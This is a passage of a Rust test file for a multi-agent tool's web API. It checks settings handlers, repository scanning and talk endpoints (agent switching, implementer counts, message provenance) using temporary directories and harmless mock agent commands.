11270 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
11272
11273 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
11274 let tmp = TempDir::new().expect("tempdir");
11275 let repo = tmp.path().join("repo");
11276 std::fs::create_dir_all(&repo).expect("repo dir");
11277 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
11278 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
11279 if let Some(text) = machine_toml {
11280 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
11281 std::fs::write(&machine, text).expect("machine toml");
11282 }
11283 (tmp, repo, machine)
11284 }
11285
11286 async fn settings_checkout(path: &FsPath, text: &str) {
11287 std::fs::create_dir_all(path).unwrap();
11288 std::fs::write(path.join("magi.toml"), text).unwrap();
11289 for args in [
11290 vec!["init", "-b", "main"],
11291 vec!["add", "magi.toml"],
11292 vec![
11293 "-c",
11294 "user.name=Test",
11295 "-c",
11296 "user.email=test@example.invalid",
11297 "commit",
11298 "-m",
11299 "fixture",
11300 ],
11301 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
11302 vec![
11303 "symbolic-ref",
11304 "refs/remotes/origin/HEAD",
11305 "refs/remotes/origin/main",
11306 ],
11307 ] {
11308 crate::git::git(path, &args).await.unwrap();
11309 }
11310 }
11311
11312 #[tokio::test]
11313 async fn settings_context_handlers_validate_and_save_without_a_socket() {
11314 let (tmp, repo, machine) =
11315 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
11316 let root = tmp.path().join("roots");
11317 let selected = root.join("host/owner/selected");
11318 settings_checkout(
11319 &selected,
11320 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
11321 )
11322 .await;
11323 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
11324 let before = std::fs::read(&machine).unwrap();
11325 let ui = Arc::new(
11326 Ui::new(
11327 Queue::at(tmp.path().join("queue")),
11328 Questions::at(tmp.path().join("questions")),
11329 Talks::at(tmp.path().join("talks")),
11330 tmp.path().join("runs"),
11331 tmp.path().to_path_buf(),
11332 repo.clone(),
11333 )
11334 .with_machine_config(Some(machine.clone())),
11335 );
11336 let query = || {
11337 Query(SettingsQuery {
11338 repo: Some(selected.clone()),
11339 })
11340 };
11341 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
11342 assert!(v.error.is_none(), "{:?}", v.error);
11343 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
11344 assert_eq!(conductor.source, "repo");
11345 assert_eq!(
11346 conductor.machine_value,
11347 Some(toml::Value::String("a".into()))
11348 );
11349 assert!(!conductor.editable);
11350 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
11351 assert_eq!(
11352 judges.count.as_ref().unwrap().machine_value,
11353 Some(toml::Value::Integer(1))
11354 );
11355 assert!(
11356 !v.roles
11357 .iter()
11358 .find(|r| r.key == "reviewers")
11359 .unwrap()
11360 .editable
11361 );
11362 let unknown = || {
11363 Query(SettingsQuery {
11364 repo: Some(tmp.path().to_path_buf()),
11365 })
11366 };
11367 assert_eq!(
11368 settings_get(State(ui.clone()), unknown())
11369 .await
11370 .unwrap_err()
11371 .status,
11372 StatusCode::UNPROCESSABLE_ENTITY
11373 );
11374 let body = || {
11375 Ok(Json(RolesBody {
11376 revision: v.revision.clone(),
11377 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
11378 counts: Default::default(),
11379 }))
11380 };
11381 assert_eq!(
11382 settings_put_roles(State(ui.clone()), unknown(), body())
11383 .await
11384 .unwrap_err()
11385 .status,
11386 StatusCode::UNPROCESSABLE_ENTITY
11387 );
11388 assert_eq!(std::fs::read(&machine).unwrap(), before);
11389 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
11390 .await
11391 .unwrap();
11392 assert_eq!(
11393 saved.repo,
11394 selected.canonicalize().unwrap().display().to_string()
11395 );
11396 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11397 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11398 let fresh = root.join("host/owner/fresh");
11400 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
11401 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
11402 .await
11403 .unwrap();
11404 assert_eq!(fresh_view.repositories.len(), 3);
11405 }
11406
11407 #[tokio::test]
11408 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
11409 let (tmp, repo, machine) = settings_dirs(
11410 "[roles]\nreviewers = [\"a\"]\n",
11411 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
11412 );
11413 let root = tmp.path().join("roots");
11414 let selected = root.join("host/owner/selected");
11415 settings_checkout(
11416 &selected,
11417 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
11418 )
11419 .await;
11420 let broken = root.join("host/owner/broken");
11421 settings_checkout(&broken, "[roles\nbroken").await;
11422 let machine_text = format!(
11423 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
11424 toml::Value::String(root.display().to_string())
11425 );
11426 std::fs::write(&machine, &machine_text).unwrap();
11427 let originals: Vec<_> = [&repo, &selected, &broken]
11428 .iter()
11429 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
11430 .collect();
11431 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11432 let default = f.get("/api/settings").await.json();
11433 assert_eq!(
11434 default["repo"],
11435 repo.canonicalize().unwrap().display().to_string()
11436 );
11437 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
11438 let query = format!("?repo={}", selected.display());
11439 let res = f.get(&format!("/api/settings{query}")).await;
11440 assert_eq!(res.status, 200, "{}", res.body);
11441 let v = res.json();
11442 assert!(v["error"].is_null(), "{v}");
11443 assert_eq!(v["repositories"], default["repositories"]);
11444 let role = |key: &str| {
11445 v["roles"]
11446 .as_array()
11447 .unwrap()
11448 .iter()
11449 .find(|r| r["key"] == key)
11450 .unwrap()
11451 };
11452 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
11453 assert_eq!(role("advisors")["source"], "repo");
11454 assert_eq!(role("advisors")["editable"], false);
11455 assert!(role("advisors")["machine_value"].is_null());
11456 assert_eq!(role("judges")["count"]["value"], 2);
11457 assert_eq!(role("judges")["count"]["machine_value"], 1);
11458 assert_eq!(role("judges")["count"]["source"], "repo");
11459 let source = role("judges")["count"]["source_path"].as_str().unwrap();
11460 assert!(
11461 source.contains("origin/main") && !source.contains("magi/config/"),
11462 "{source}"
11463 );
11464 assert_eq!(
11465 role("reviewers")["editable"],
11466 false,
11467 "default context outside roots must protect its declarations"
11468 );
11469 let body =
11470 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
11471 let unknown = format!("?repo={}", tmp.path().display());
11472 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
11473 assert_eq!(
11474 f.put(&format!("/api/settings/roles{unknown}"), &body)
11475 .await
11476 .status,
11477 422
11478 );
11479 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
11480 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
11481 .to_string();
11482 assert_eq!(
11483 f.put(&format!("/api/settings/roles{query}"), &refuse)
11484 .await
11485 .status,
11486 422
11487 );
11488 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
11489 assert_eq!(saved.status, 200, "{}", saved.body);
11490 assert_eq!(saved.json()["repo"], v["repo"]);
11491 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11492 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11493 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
11494 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
11495 }
11496 let error = f
11497 .get(&format!("/api/settings?repo={}", broken.display()))
11498 .await;
11499 assert_eq!(error.status, 200);
11500 assert!(error.json()["error"]["message"].is_string());
11501 assert_eq!(error.json()["repositories"], default["repositories"]);
11502 }
11503
11504 #[tokio::test]
11505 async fn settings_get_reports_sources_and_the_advisors_fallback() {
11506 let (_tmp, repo, machine) =
11507 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
11508 let f = Fixture::with_repo_and_machine(repo, machine).await;
11509 let res = f.get("/api/settings").await;
11510 assert_eq!(res.status, 200, "{}", res.body);
11511 let v = res.json();
11512 assert!(v["error"].is_null(), "{v}");
11513 let role = |k: &str| {
11514 v["roles"]
11515 .as_array()
11516 .and_then(|r| r.iter().find(|x| x["key"] == k))
11517 .cloned()
11518 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11519 };
11520 assert_eq!(role("judges")["source"], "machine");
11521 assert_eq!(role("judges")["editable"], true);
11522 assert_eq!(role("implementers")["source"], "default");
11523 let adv = role("advisors");
11524 assert_eq!(adv["fallback"], "judges");
11525 assert!(
11526 adv["seats"]
11527 .as_array()
11528 .is_some_and(|s| s.iter().all(|x| x == "b")),
11529 "{adv}"
11530 );
11531 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
11532 assert_eq!(v["agents"][0]["source"], "repo");
11533 }
11534
11535 #[tokio::test]
11536 async fn settings_get_reports_a_config_that_does_not_parse() {
11537 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
11538 let f = Fixture::with_repo_and_machine(repo, machine).await;
11539 let res = f.get("/api/settings").await;
11540 assert_eq!(res.status, 200, "{}", res.body);
11541 let v = res.json();
11542 assert!(v["error"]["message"].is_string(), "{v}");
11543 assert!(
11544 v["error"]["path"]
11545 .as_str()
11546 .is_some_and(|p| p.ends_with("magi.toml")),
11547 "{v}"
11548 );
11549 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
11550 }
11551
11552 #[tokio::test]
11553 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
11554 let (_tmp, repo, machine) = settings_dirs(
11555 SETTINGS_AGENTS,
11556 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
11557 );
11558 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
11559 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11560 let rev = f.get("/api/settings").await.json()["revision"]
11561 .as_str()
11562 .expect("revision")
11563 .to_owned();
11564 let body = serde_json::json!({
11565 "revision": rev,
11566 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
11567 })
11568 .to_string();
11569 let res = f.put("/api/settings/roles", &body).await;
11570 assert_eq!(res.status, 200, "{}", res.body);
11571 let text = std::fs::read_to_string(&machine).expect("machine");
11572 assert_eq!(
11573 text,
11574 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
11575 );
11576 assert_eq!(
11577 std::fs::read(repo.join("magi.toml")).expect("read"),
11578 repo_before
11579 );
11580 let again = f.get("/api/settings").await.json();
11581 let judges = again["roles"]
11582 .as_array()
11583 .expect("roles")
11584 .iter()
11585 .find(|r| r["key"] == "judges")
11586 .expect("judges")
11587 .clone();
11588 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
11589 let stale = f.put("/api/settings/roles", &body).await;
11591 assert_eq!(stale.status, 409, "{}", stale.body);
11592 }
11593
11594 #[tokio::test]
11595 async fn settings_counts_are_reported_and_saved() {
11596 let (_tmp, repo, machine) = settings_dirs(
11597 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
11598 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
11599 );
11600 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11601 let v = f.get("/api/settings").await.json();
11602 let count = |v: &serde_json::Value, k: &str| {
11603 v["roles"]
11604 .as_array()
11605 .and_then(|r| r.iter().find(|x| x["key"] == k))
11606 .map(|x| x["count"].clone())
11607 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11608 };
11609 let imp = count(&v, "implementers");
11610 assert_eq!(imp["value"], 2);
11611 assert_eq!(imp["source"], "machine");
11612 assert_eq!(imp["file_key"], "candidates");
11613 assert_eq!(imp["roster_len"], 2);
11614 assert_eq!(imp["backups"], 0);
11615 assert_eq!(count(&v, "judges")["source"], "default");
11616 assert_eq!(count(&v, "advisors")["min"], 0);
11617 assert_eq!(count(&v, "reviewers")["editable"], false);
11618 assert!(
11619 count(&v, "reviewers")["locked_reason"]
11620 .as_str()
11621 .is_some_and(|m| m.contains("graph.reviewers"))
11622 );
11623 assert!(count(&v, "fixer").is_null());
11624 let rev = v["revision"].as_str().expect("revision").to_owned();
11625 let body = serde_json::json!({
11626 "revision": rev,
11627 "roles": { "judges": ["b"] },
11628 "counts": { "implementers": 1, "advisors": 0 }
11629 })
11630 .to_string();
11631 let res = f.put("/api/settings/roles", &body).await;
11632 assert_eq!(res.status, 200, "{}", res.body);
11633 let text = std::fs::read_to_string(&machine).expect("machine");
11634 assert_eq!(
11635 text,
11636 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
11637 );
11638 let after = f.get("/api/settings").await.json();
11639 assert_eq!(count(&after, "implementers")["value"], 1);
11640 assert_eq!(count(&after, "implementers")["backups"], 1);
11641 assert_eq!(count(&after, "advisors")["value"], 0);
11642 let before = std::fs::read_to_string(&machine).expect("machine");
11643 let rev = after["revision"].as_str().expect("revision").to_owned();
11644 for counts in [
11645 serde_json::json!({ "judges": 0 }),
11646 serde_json::json!({ "judges": "x" }),
11647 serde_json::json!({ "judges": 2.5 }),
11648 serde_json::json!({ "judges": -1 }),
11649 serde_json::json!({ "reviewers": 3 }),
11650 serde_json::json!({ "bogus": 3 }),
11651 ] {
11652 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
11653 let res = f.put("/api/settings/roles", &body).await;
11654 assert_eq!(res.status, 422, "{counts}: {}", res.body);
11655 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
11656 }
11657 }
11658
11659 #[tokio::test]
11660 async fn settings_put_refuses_without_touching_the_file() {
11661 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
11662 let (_tmp, repo, machine) = settings_dirs(
11663 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
11664 Some(machine_text),
11665 );
11666 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11667 let rev = f.get("/api/settings").await.json()["revision"]
11668 .as_str()
11669 .expect("revision")
11670 .to_owned();
11671 for roles in [
11672 serde_json::json!({ "judges": ["nope"] }),
11673 serde_json::json!({ "reviewers": ["b"] }),
11674 serde_json::json!({ "bogus": ["a"] }),
11675 ] {
11676 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
11677 let res = f.put("/api/settings/roles", &body).await;
11678 assert_eq!(res.status, 422, "{roles}: {}", res.body);
11679 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
11680 assert_eq!(
11681 std::fs::read_to_string(&machine).expect("machine"),
11682 machine_text
11683 );
11684 }
11685 }
11686
11687 #[tokio::test]
11688 async fn repos_list_returns_name_and_path_for_every_configured_root() {
11689 let tmp = TempDir::new().expect("tempdir");
11690 let repo = tmp.path().join("repo");
11691 std::fs::create_dir_all(&repo).expect("repo dir");
11692 let root = tmp.path().join("root");
11693 make_checkout(&root, "github.com", "yukimemi", "magi");
11694 std::fs::write(
11695 repo.join("magi.toml"),
11696 format!(
11697 "[repos]\nroots = [{:?}]\n",
11698 root.to_string_lossy().into_owned()
11699 ),
11700 )
11701 .expect("write magi.toml");
11702
11703 let f = Fixture::with_repo(repo).await;
11704 let res = f.get("/api/repos").await;
11705 assert_eq!(res.status, 200, "{}", res.body);
11706 let list = res.json();
11707 let repos = list.as_array().expect("an array");
11708 assert_eq!(repos.len(), 1);
11709 assert_eq!(repos[0]["name"], "yukimemi/magi");
11710 assert!(
11711 repos[0]["path"]
11712 .as_str()
11713 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
11714 "{list}"
11715 );
11716 }
11717
11718 #[tokio::test]
11719 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
11720 let tmp = TempDir::new().expect("tempdir");
11721 let repo = tmp.path().join("repo");
11722 std::fs::create_dir_all(&repo).expect("repo dir");
11723 let root = tmp.path().join("root");
11724 make_checkout(&root, "github.com", "yukimemi", "magi");
11725 std::fs::write(
11726 repo.join("magi.toml"),
11727 format!(
11728 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
11729 root.to_string_lossy().into_owned()
11730 ),
11731 )
11732 .expect("write magi.toml");
11733
11734 let f = Fixture::with_repo(repo).await;
11735 let first = f.get("/api/repos").await;
11736 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
11737
11738 make_checkout(&root, "github.com", "yukimemi", "rvpm");
11741 let second = f.get("/api/repos").await;
11742 assert_eq!(
11743 second.json().as_array().map(Vec::len),
11744 Some(1),
11745 "a fresh cache must not rescan inside the TTL"
11746 );
11747
11748 let refreshed = f.get("/api/repos?refresh=1").await;
11749 assert_eq!(
11750 refreshed.json().as_array().map(Vec::len),
11751 Some(2),
11752 "an explicit refresh must rescan even inside the TTL"
11753 );
11754 }
11755
11756 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
11762
11763 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
11767 let tmp = TempDir::new().expect("tempdir");
11768 let repo = tmp.path().join("repo");
11769 std::fs::create_dir_all(&repo).expect("repo dir");
11770 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11771 let f = Fixture::with_repo(repo.clone()).await;
11772 (tmp, repo, f)
11773 }
11774
11775 #[tokio::test]
11776 async fn posting_a_talk_with_remembered_choices_is_soft() {
11777 let (_tmp, _repo, f) = talk_fixture().await;
11778
11779 let good = f
11780 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
11781 .await;
11782 assert_eq!(good.status, 201, "{}", good.body);
11783 assert_eq!(good.json()["persona"], "rei");
11784
11785 let stale = f
11787 .post(
11788 "/api/talks",
11789 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
11790 )
11791 .await;
11792 assert_eq!(stale.status, 201, "{}", stale.body);
11793 let v = stale.json();
11794 assert_eq!(v["implementers"], 1);
11795 assert_ne!(v["persona"], "nobody");
11796 let typed = f
11797 .post(
11798 "/api/talks",
11799 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
11800 )
11801 .await;
11802 assert_eq!(typed.status, 201, "{}", typed.body);
11803
11804 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
11806 assert!(
11807 !strict.status.to_string().starts_with('2'),
11808 "{}",
11809 strict.body
11810 );
11811 }
11812
11813 #[tokio::test]
11814 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
11815 let (_tmp, _repo, f) = talk_fixture().await;
11816
11817 let opened = f.post("/api/talks", None).await;
11820 assert_eq!(opened.status, 201, "{}", opened.body);
11821 let body = opened.json();
11822 assert_eq!(body["status"], "open");
11823 assert_eq!(
11824 body["turns"].as_array().unwrap().len(),
11825 0,
11826 "opening takes no agent turn: there is nothing yet to answer"
11827 );
11828
11829 let also_opened = f.post("/api/talks", Some("{}")).await;
11831 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
11832
11833 let listed = f.get("/api/talks").await.json();
11834 assert_eq!(listed.as_array().unwrap().len(), 2);
11835 }
11836
11837 #[tokio::test]
11838 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
11839 let tmp = TempDir::new().expect("tempdir");
11840 let repo = tmp.path().join("repo");
11841 std::fs::create_dir_all(&repo).expect("repo dir");
11842 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
11843 std::fs::write(
11844 repo.join("magi.toml"),
11845 format!("{MOCK_AGENT_TOML}\n{second}"),
11846 )
11847 .expect("write magi.toml");
11848 let home = TempDir::new().expect("temp home");
11849 let talks = Talks::at(home.path().join("talks"));
11850 let ui = Arc::new(
11851 Ui::new(
11852 Queue::at(home.path().join("queue")),
11853 Questions::at(home.path().join("questions")),
11854 talks.clone(),
11855 home.path().join("runs"),
11856 home.path().to_path_buf(),
11857 repo.clone(),
11858 )
11859 .with_worktrees_root(home.path().join("wt")),
11860 );
11861 let cfg = config_for(&repo).await.expect("discover config");
11862 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11863 let id = talk.id.clone();
11864 let call = |agent: &str| {
11865 talk_agent(
11866 State(Arc::clone(&ui)),
11867 Path(id.clone()),
11868 Json(TalkAgent {
11869 agent: agent.to_owned(),
11870 }),
11871 )
11872 };
11873
11874 let unknown = call("nobody").await.expect_err("unknown agent");
11875 assert_eq!(
11876 unknown.status,
11877 StatusCode::BAD_REQUEST,
11878 "{}",
11879 unknown.message
11880 );
11881
11882 {
11883 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11886 let busy = call("second").await.expect_err("busy talk");
11887 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11888 assert!(
11889 busy.message.contains("a talk turn is running"),
11890 "{}",
11891 busy.message
11892 );
11893 drop(guard);
11894 }
11895 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
11896
11897 let Json(view) = call("second").await.expect("switch");
11898 assert_eq!(view.talk.agent, "second");
11899 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
11900 let saved = talks.get(&id).expect("reload");
11901 assert_eq!(saved.agent, "second");
11902 assert_eq!(saved.turns.len(), 1);
11903 assert!(!view.thinking);
11904 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11905 for agent in ["mock", "second"] {
11906 let Json(view) = call(agent).await.expect("immediate consecutive change");
11907 assert_eq!(view.talk.agent, agent);
11908 assert!(!view.thinking);
11909 assert!(!ui.is_thinking(&id));
11910 }
11911
11912 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11913 .await
11914 .expect("detail");
11915 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
11916 assert_eq!(roster, ["mock", "second"]);
11917
11918 let mut closed = talks.get(&id).expect("reload");
11919 talk::close(&mut closed, &talks).expect("close");
11920 let refused = call("mock").await.expect_err("closed talk");
11921 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11922 assert!(
11923 refused.message.contains("takes no more turns"),
11924 "{}",
11925 refused.message
11926 );
11927 }
11928
11929 #[tokio::test]
11930 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
11931 let tmp = TempDir::new().expect("tempdir");
11932 let repo = tmp.path().join("repo");
11933 std::fs::create_dir_all(&repo).expect("repo dir");
11934 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11935 let home = TempDir::new().expect("temp home");
11936 let talks = Talks::at(home.path().join("talks"));
11937 let ui = Arc::new(
11938 Ui::new(
11939 Queue::at(home.path().join("queue")),
11940 Questions::at(home.path().join("questions")),
11941 talks.clone(),
11942 home.path().join("runs"),
11943 home.path().to_path_buf(),
11944 repo.clone(),
11945 )
11946 .with_worktrees_root(home.path().join("wt")),
11947 );
11948 let cfg = config_for(&repo).await.expect("discover config");
11949 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11950 let id = talk.id.clone();
11951 let call = |n: u8| {
11952 talk_implementers(
11953 State(Arc::clone(&ui)),
11954 Path(id.clone()),
11955 Json(TalkImplementers { implementers: n }),
11956 )
11957 };
11958
11959 for bad in [0u8, 4] {
11960 let e = call(bad).await.expect_err("out of range");
11961 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
11962 }
11963 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
11964
11965 {
11966 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11969 let busy = call(2).await.expect_err("busy talk");
11970 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11971 assert!(
11972 busy.message.contains("a talk turn is running"),
11973 "{}",
11974 busy.message
11975 );
11976 drop(guard);
11977 }
11978
11979 let Json(view) = call(3).await.expect("switch");
11980 assert_eq!(view.talk.implementers, 3);
11981 assert!(talks.get(&id).expect("reload").implementers_dirty);
11982 assert!(!view.thinking);
11983 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11984 for n in [1, 2, 3] {
11985 let Json(view) = call(n).await.expect("immediate consecutive change");
11986 assert_eq!(view.talk.implementers, n);
11987 assert!(!view.thinking);
11988 assert!(!ui.is_thinking(&id));
11989 }
11990
11991 let mut closed = talks.get(&id).expect("reload");
11992 talk::close(&mut closed, &talks).expect("close");
11993 let e = call(2).await.expect_err("closed talk");
11994 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
11995 assert!(e.message.contains("takes no more turns"), "{}", e.message);
11996 }
11997
11998 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
12000 let tmp = TempDir::new().expect("tempdir");
12001 let repo = tmp.path().join("repo");
12002 std::fs::create_dir_all(&repo).expect("repo dir");
12003 std::fs::write(
12004 repo.join("magi.toml"),
12005 format!("{MOCK_AGENT_TOML}\n{extra}"),
12006 )
12007 .expect("write magi.toml");
12008 let home = TempDir::new().expect("temp home");
12009 let talks = Talks::at(home.path().join("talks"));
12010 let ui = Arc::new(
12011 Ui::new(
12012 Queue::at(home.path().join("queue")),
12013 Questions::at(home.path().join("questions")),
12014 talks.clone(),
12015 home.path().join("runs"),
12016 home.path().to_path_buf(),
12017 repo.clone(),
12018 )
12019 .with_worktrees_root(home.path().join("wt")),
12020 );
12021 let cfg = config_for(&repo).await.expect("discover config");
12022 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12023 (tmp, home, ui, talk.id, repo)
12024 }
12025
12026 #[tokio::test]
12027 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
12028 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12029 let mut conversation = ui.talks.get(&id).unwrap();
12030 talk::record(
12031 &mut conversation,
12032 &ui.talks,
12033 "# Update on a task you filed\noperator words",
12034 vec![],
12035 )
12036 .unwrap();
12037 conversation.turns[0].sender = None;
12039 conversation.turns[0].messages.clear();
12040 ui.talks.put(&mut conversation).unwrap();
12041 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
12042 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
12043 talk::drain(&mut conversation, &ui.talks).unwrap();
12044 talk::record_reply(
12045 &mut conversation,
12046 &ui.talks,
12047 "about that report",
12048 vec![],
12049 Some(talk::ReplyTarget {
12050 turn: 1,
12051 message: 1,
12052 }),
12053 )
12054 .unwrap();
12055 conversation.turns[2].messages[0]
12056 .reply
12057 .as_mut()
12058 .unwrap()
12059 .sender = None;
12060 conversation.turns.push(talk::Turn {
12061 sender: Some(talk::Sender::Persona),
12062 who: talk::Who::Agent,
12063 body: "magi: actual persona words".into(),
12064 at: Timestamp::now(),
12065 attachments: vec![],
12066 usage: None,
12067 breaks: None,
12068 messages: vec![],
12069 posted_by: None,
12070 });
12071 ui.talks.put(&mut conversation).unwrap();
12072 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12073 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
12074 assert_eq!(
12075 view.talk.turns[1].messages[0].sender,
12076 Some(talk::Sender::Operator)
12077 );
12078 assert_eq!(
12079 view.talk.turns[1].messages[1].sender,
12080 Some(talk::Sender::Magi)
12081 );
12082 assert_eq!(
12083 view.talk.turns[2].messages[0]
12084 .reply
12085 .as_ref()
12086 .unwrap()
12087 .sender,
12088 Some(talk::Sender::Magi)
12089 );
12090 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
12091 assert_eq!(view.turn_messages_md[0].len(), 1);
12092 assert!(view.turn_messages_md[0][0].is_none());
12093 assert!(view.turn_messages_md[1][0].is_none());
12094 assert!(view.turn_messages_md[1][1].is_some());
12095 }
12096
12097 #[tokio::test]
12098 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
12099 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12100 let mut conversation = ui.talks.get(&id).unwrap();
12101 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
12102 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12103 talk::queue_notice(
12104 &mut conversation,
12105 &ui.talks,
12106 &body,
12107 "watch:123",
12108 &|_| false,
12109 None,
12110 display.clone(),
12111 )
12112 .unwrap();
12113 assert!(
12114 !talk::queue_notice(
12115 &mut conversation,
12116 &ui.talks,
12117 &body,
12118 "watch:123",
12119 &|_| false,
12120 None,
12121 display.clone()
12122 )
12123 .unwrap()
12124 );
12125 let saved = ui.talks.get(&id).unwrap();
12126 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
12127 let view = TalkView::with_config(saved, false, None, &ui.home);
12128 assert!(
12129 view.talk.turns[0].messages[0].display.is_none(),
12130 "operator copy stays literal"
12131 );
12132 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
12133 assert!(view.turn_messages_md[0][0].is_none());
